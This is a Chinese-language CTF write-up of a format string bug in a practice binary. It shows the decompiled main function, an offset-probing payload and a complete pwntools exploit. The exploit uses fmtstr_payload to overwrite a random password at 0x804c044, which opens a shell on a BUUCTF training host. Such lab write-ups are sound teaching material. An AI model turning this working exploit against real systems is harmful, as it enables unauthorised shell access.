记录一个格式化漏洞
源文件是这个
首先ida反编译可得以下伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| int __cdecl main(int a1) { unsigned int v1; int fd; int result; int v4; unsigned int v5; char nptr; char buf; unsigned int v8; int *v9;
v9 = &a1; v8 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); v1 = time(0); srand(v1); fd = open("/dev/urandom", 0); read(fd, &unk_804C044, 4u); printf("your name:"); read(0, &buf, 0x63u); printf("Hello,"); printf(&buf); printf("your passwd:"); read(0, &nptr, 0xFu); if ( atoi(&nptr) == unk_804C044 ) { puts("ok!!"); system("/bin/sh"); } else { puts("fail"); } result = 0; v5 = __readgsdword(0x14u); v4 = v5 ^ v8; if ( v5 != v8 ) sub_80493D0(v4); return result; }
|
Line23存在格式化漏洞,可以利用pwntools中的fmtstr_payload函数
fmtstr_payload(offset, writes, numbwritten=0, write_size=’byte’)
- offset(int): 字符串的偏移,从1开始
- writes (dict): 注入的地址和值,{target_addr : change_to }
- numbwritten (int) : 已经由printf函数写入的字节数,默认为0
- write_size : 逐byte/short/int写入,默认是byte
测试获取offset:
payload:
1
| AAAA%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-
|
得到
发现AAAA(41414141)在第10个,故offset=10
要令Line26成立,只需要让unk_804C044
可控,即0x804c044
位置的变量可控,构造如下payload:
1
| user=fmtstr_payload(10,{0x804c044:0x114514})
|
那么密码就是0x114514
当然想变成啥就变成啥啦
总exp:
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
p=process('/home/parallels/Desktop/pwn/pwn') p=remote('node4.buuoj.cn',27807)
p.recvuntil('your name:') user=fmtstr_payload(10,{0x804c044:0x114514}) p.sendline(user) p.recvuntil('passwd:') payload=str(0x114514).encode('ascii') p.sendline(payload) p.interactive()
|
或者最朴素的方法:pwn_exp.py